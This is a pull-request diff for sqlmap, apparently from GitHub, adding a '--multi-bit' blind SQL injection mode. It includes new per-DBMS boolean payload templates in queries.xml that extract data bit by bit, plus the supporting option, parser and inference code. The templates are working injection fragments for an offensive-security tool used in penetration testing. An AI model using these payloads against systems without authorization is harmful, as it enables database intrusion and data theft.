Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
15 changes: 15 additions & 0 deletions data/xml/queries.xml
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,9 @@
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="HEX(%s)"/>
<inference query="ORD(MID((%s),%d,1))>%d"/>
<bitmap query="((ORD(MID((%s),1+FLOOR((%s-%s)/%s),1))&gt;&gt;MOD(%s-%s,%s))&amp;1)=1"/>
<bitchar query="((ORD(MID((%s),%s,1))&gt;&gt;(%s))&amp;1)=1"/>
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
<banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/>
Expand Down Expand Up @@ -101,6 +104,9 @@
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
<hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>
<inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/>
<bitmap query="((ASCII(SUBSTRING((%s)::text FROM (1+FLOOR((%s-%s)/%s))::int FOR 1))&gt;&gt;((%s-%s)%%%s))&amp;1)=1"/>
<bitchar query="((ASCII(SUBSTRING((%s)::text FROM (%s)::int FOR 1))&gt;&gt;(%s))&amp;1)=1"/>
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
<banner query="VERSION()"/>
<current_user query="CURRENT_USER"/>
<current_db query="CURRENT_SCHEMA()"/>
Expand Down Expand Up @@ -180,6 +186,9 @@
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
<hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/>
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
<bitmap query="((UNICODE(SUBSTRING((%s),1+((%s-%s)/%s),1))/POWER(2,((%s-%s)%%%s)))%%2)=1"/>
<bitchar query="((UNICODE(SUBSTRING((%s),%s,1))/POWER(2,(%s)))%%2)=1"/>
<bitcol query="((%s/POWER(2,%s))%%2)=1"/>
<banner query="SELECT @@VERSION"/>
<current_user query="SELECT SYSTEM_USER"/>
<current_db query="SELECT DB_NAME()"/>
Expand Down Expand Up @@ -260,6 +269,9 @@
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
-->
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
<bitmap query="(BITAND(ASCII(SUBSTRC((%s),1+FLOOR((%s-%s)/%s),1)),POWER(2,MOD(%s-%s,%s)))&gt;0)"/>
<bitchar query="(BITAND(ASCII(SUBSTRC((%s),%s,1)),POWER(2,(%s)))&gt;0)"/>
<bitcol query="BITAND(%s,POWER(2,%s))&gt;0"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT USER FROM DUAL"/>
<!--
Expand Down Expand Up @@ -360,6 +372,9 @@
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="HEX(%s)"/>
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
<bitmap query="((UNICODE(SUBSTR((%s),1+((%s-%s)/%s),1))&gt;&gt;((%s-%s)%%%s))&amp;1)=1"/>
<bitchar query="((UNICODE(SUBSTR((%s),%s,1))&gt;&gt;(%s))&amp;1)=1"/>
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
<banner query="SELECT SQLITE_VERSION()"/>
<current_user/>
<current_db/>
Expand Down
5 changes: 5 additions & 0 deletions lib/controller/action.py
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,11 @@ def action():

setHandler()

# multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked
# before nudging the user towards a channel that reads several characters per request (no requests)
from lib.techniques.blind import multibit
multibit.hint()

if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())

Expand Down
4 changes: 3 additions & 1 deletion lib/core/option.py
Original file line number Diff line number Diff line change
Expand Up @@ -2287,7 +2287,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.lastParserStatus = None

kb.locks = AttribDict()
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"):
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
kb.locks[_] = threading.Lock()

kb.matchRatio = None
Expand All @@ -2296,6 +2296,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.mergeCookies = None
kb.mysqlUtf8mb4 = None
kb.multiThreadMode = False
kb.multibit = {} # per injection point: absent=untried, False=unusable, else the row channel profile
kb.multibitHinted = False
kb.multipleCtrlC = False
kb.negativeLogic = False
kb.nchar = True
Expand Down
1 change: 1 addition & 0 deletions lib/core/optiondict.py
Original file line number Diff line number Diff line change
Expand Up @@ -137,6 +137,7 @@
"oobToken": "string",
"timeSec": "integer",
"timeless": "boolean",
"multiBit": "boolean",
"uCols": "string",
"uChar": "string",
"uFrom": "string",
Expand Down
8 changes: 4 additions & 4 deletions lib/core/settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@
from thirdparty import six

# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.36"
VERSION = "1.10.8.39"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
Expand Down Expand Up @@ -1627,7 +1627,7 @@
CHECK_ZERO_COLUMNS_THRESHOLD = 10

# Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database")
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database", "several characters")

# Regular expression used to search for bold-patterns
BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS)
Expand Down Expand Up @@ -1708,8 +1708,8 @@
SUHOSIN_MAX_VALUE_LENGTH = 512

# Multi-bit blind inference ("row multiplexing"): one rendered row carries one bit, so a single
# response yields whole characters instead of a single boolean. Needs '--risk=3' (it widens the
# result set with OR) and proves every value back against the target before returning it.
# response yields whole characters instead of a single boolean. Used on demand ('--multi-bit', which
# widens the result set with OR) and proves every value back against the target before returning it.
MAX_MULTIBIT_LENGTH = 8192 # hard ceiling when the value length is unknown (anti-runaway)
MAX_MULTIBIT_PAGE = 1048576 # response bytes parsed for repeated row markup (larger pages are truncated)
MULTIBIT_BITS_PER_CHAR = 8 # one whole byte per character, one row per bit
Expand Down
3 changes: 3 additions & 0 deletions lib/parse/cmdline.py
Original file line number Diff line number Diff line change
Expand Up @@ -436,6 +436,9 @@ def cmdLineParser(argv=None):
techniques.add_argument("--timeless", dest="timeless", action="store_true",
help="Use HTTP/2 timeless timing (faster, no delay)")

techniques.add_argument("--multi-bit", dest="multiBit", action="store_true",
help="Use rendered rows to read several bits per request")

techniques.add_argument("--union-cols", dest="uCols",
help="Range of columns to test for UNION query SQL injection")

Expand Down
12 changes: 11 additions & 1 deletion lib/techniques/blind/inference.py
Original file line number Diff line number Diff line change
Expand Up @@ -78,6 +78,7 @@
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.techniques.blind import multibit
from lib.utils.progress import ProgressBar
from lib.utils.safe2bin import safecharencode
from lib.utils.xrange import xrange
Expand Down Expand Up @@ -986,8 +987,17 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None,
# and detects end-of-string correctly
return getChar(idx, asciiTbl, True, retried=retried)

# Multi-bit inference ('--multi-bit'): on a listing page a single response carries WHICH rows came
# back, i.e. a whole bit vector rather than one boolean, giving several characters per request. It
# returns None unless it proved the extracted value back against the target, so everything below
# is untouched whenever it is unusable (and it owns its own threading, hence before this branch).
multibitValue = multibit.attempt(expression, getChar, length, charsetType, firstChar or partialValue)

if multibitValue is not None:
finalValue = multibitValue

# Go multi-threading (--threads > 1)
if numThreads > 1 and isinstance(length, int) and length > 1:
elif numThreads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.start = firstChar
Expand Down
Loading